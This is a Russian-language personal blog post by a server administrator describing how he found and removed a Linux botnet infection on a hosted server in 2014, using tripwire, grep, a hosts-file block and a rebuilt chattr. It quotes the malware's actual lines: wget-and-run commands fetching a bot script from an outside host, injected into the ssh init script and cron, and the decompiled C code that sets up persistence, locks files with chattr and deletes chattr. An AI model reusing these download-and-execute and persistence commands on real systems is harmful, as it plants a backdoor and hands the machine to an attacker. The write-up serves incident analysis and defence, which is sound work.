Материал просмотрен 733 раз(а)

Посчастливилось как-то стать почти свидетелем взлома одного сервера. Началось все с того, что один всем известный сайт перестал быть доступен. Ну да и ладно, вроде не беда. Перезапуск сервера и … доступен!

Начинаем проводить разбор полётов. Входим по SSH а там… с маслом! Коннекта нет. Служба не поднялась что-ли? Рестартим ещё раз. Без результата.

Обращаемся в техподдержку с просьбой прояснить почему ssh недоступен. Ответ – на сервере обнаружено вредоносное ПО, в скрипте /etc/init.d/ssh:

test -x /usr/sbin/sshd || wget http://stаblehоst.us/bоts/rеgulаr.bot -O /tmp/sh;sh /tmp/sh

Службу ssh нам переустановили. Делаем резервные копии сайта, чтобы слить по FTP, а тут бац! Новая напасть – FTP не коннектится. Причем служба поднята, порт открыт. Локальный коннект есть. А снаружи – глушняк. Файрволл тоже чист. Интересное дело.

wget – тоже не работает. apt-get – тоже. Да что ж такое-то? Куда копать? Пинги проходят на яндекс, а вот wget-нуть его страничку главную – не выходит. Висит на резолве.

Ну ладно, будем думать из того, что есть. Не пашет FTP, сольём по SSH ) Есть замечательная утилитка scp, позволяющая копировать файлы по защищенному протоколу.

Слили бэкап. Тут хостер отвечает по поводу недоступности FTP и служб закачки:

… так как на сайте было найдено вредоносное ПО, временно ограничили нас в использовании сети … проверьте, щас должно работать…

Вот те раз. И никто ничего не сказал, пока сам не спросил. Считаю, что reg.ru (да, это они) поступают не очень хорошо, накладывая санкции и не предупреждая о проблемах хотябы сообщением робота на почту.

Проверяю – всё заработало. Крутяк! Начинаем разбор полётов. Поставил (пока всё ещё дышит) tripwire, о нём писал уже.

Прежде всего проверяем крон и что видим? Есть задания в /etc/cron.weekly/logrotator с вредоносным кодом, таким же как в ssh-скрипте.

Вычищаю.

Решил глянуть логи tripwire. Показывает, что изменились некоторые файлы (/etc/init.d/ssh (что, опять????))

Делаю поиск по строкам

# grep -rn stablehost.us /etc/

Действительно, есть несколько совпадений, в том числе в /etc/init.d/ssh, /etc/rc.N/S17ssh, где N от 2 до 5… Да ёж твою, подумал.. будем чистить…

А файл /etc/init.d/ssh не сохраняется. Проверяю права – всё нормально, rx-r-r, проверяю атрибуты файловой системы: стоят флаги i,a,s. Тогда всё понятно, файл “иммунитет”, его не получится перезаписать. Пробую снять флаги:

# chattr -s -a -i /etc/init.d/ssh

и тут мне баш говорит, что команда chattr не распознана. Да что за бабуйня, подумал я. Как так?

# whereis chattr

выдал только ман.

А делать-то что-то надо? Не придумал ничего умнее как
# echo "127.0.0.1 stablehost.us" >> /etc/hosts

Теперь запрошенный файл не будет доставлен на комп 🙂 Но что же делать с chattr?

Начинаю догадываться. Ещё раз смотрю логи tripwire

----------------------------------------
Removed Objects: 1
----------------------------------------
Removed object name: /usr/bin/chattr

Блин! И где его взять? Благо на sourceforge нашел исходники e2fsutil, утилиты для файловой системы. Wget заработал, качаю:
# cd ~;
# wget http://downloads.sourceforge.net/project/e2fsprogs/e2fsprogs/v1.42.11/e2fsprogs-1.42.11.tar.gz
# tar xvzf e2fsprogs-1.42.11.tar.gz
# cd e2fsprogs-1.42.11
# ./configure && make && make install

Вроде нормально! Команда есть. Но вдруг бац! Она снова исчезла! Только что была! Значит зараза ещё в системе.
Делаю повторно:
# ./configure && make && make install && cp /usr/bin/chattr ~/catr && chattr +i +s +a /usr/bin/chattr
Таким образом сразу сохранил себе резерв утилиты, а так же поставил иммунитет на утилиту.

Вычистил все следы, где встречается вызов вредокода. Поиск таким образом:
# grep -rn stablehost /var

И тут мне выдало несколько совпадений в спулере почты, в лог файле. Теперь я понял, как прошло проникновение. Изучил более детально вхождения в почтовом логе всех подобных записей.

И вот что ещё нашел:
From ##################### Sun Oct 26 00:01:27 2014
Return-Path: #####################
X-Original-To: root
Delivered-To: #####################
Received: by ##################### (Postfix, from userid 0)
id C729311F6001; Sun, 26 Oct 2014 00:01:26 +0400 (MSK)
From: ##################### (Cron Daemon)
To: #####################
Subject: Cron <#####################> wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1
Content-Type: text/plain; charset=ANSI_X3.4-1968
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root>
Message-Id: <20141025200126.C729311F6001@#####################>
Date: Sun, 26 Oct 2014 00:01:26 +0400 (MSK)
--2014-10-26 00:00:05-- http://205.237.100.170/manual/a.c -- бот
--2014-10-26 00:00:24-- http://205.237.100.170/manual/pb -- бот
--2014-10-26 00:01:12-- http://205.237.100.170/manual/b -- исполняемый файл

А подробный разбор a.c выявил вот такой код:
system("cat /etc/init.d/ssh|grep -v wget && sed -i 's=umask 022=umask 022; wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh &;rm -rf /tmp/sh=g' /etc/init.d/ssh");
system("echo '#!/bin/sh' > /etc/cron.weekly/logrotater");
system("echo 'wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh' >>/etc/cron.weekly/logrotater");
system("echo 'sh /tmp/sh;rm /tmp/sh' >>/etc/cron.weekly/logrotater");
system("chmod +x /etc/cron.weekly/logrotater");
system("chattr +isa /etc/cron.weekly/logrotator");
system("crontab -r|grep -v stable >/tmp/c");
system("echo '@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1' >> /tmp/c");
system("crontab /tmp/c;rm /tmp/c");
system("chattr +isa /etc/init.d/ssh");
system("chattr +isa /var/spool/cron/crontabs/root");
system("chmod 000 /usr/bin/crontab;chattr +isa /usr/bin/crontab");
system("rm /usr/bin/chattr");

Вот такие действия он и производил. После этого не составило большого труда вернуть всё на место. Разумеется, почту на том серваке я временно приглушил, до тех пор, пока не будет проведено полноценное разбирательство.

Как я понял, это элемент ботнета. Принимает команды, управляется другим компьютером. Таких утилит удаленного управления в последнее время становится все больше! Для винды есть radmin, TeamViewer, бесплатный Ammyy admin и UltraVNC. А под Linux – шеллы и боты подобные этому. Порулить серваком злоумышленнику не удалось толком, что-то помешало. Может быстрое реагирование, может ошибки возникли какие-то по ходу дела. Но факт в том, что сервер подвергался атаке два раза. Оба раза через почту. И оба раза – одинаковым методом.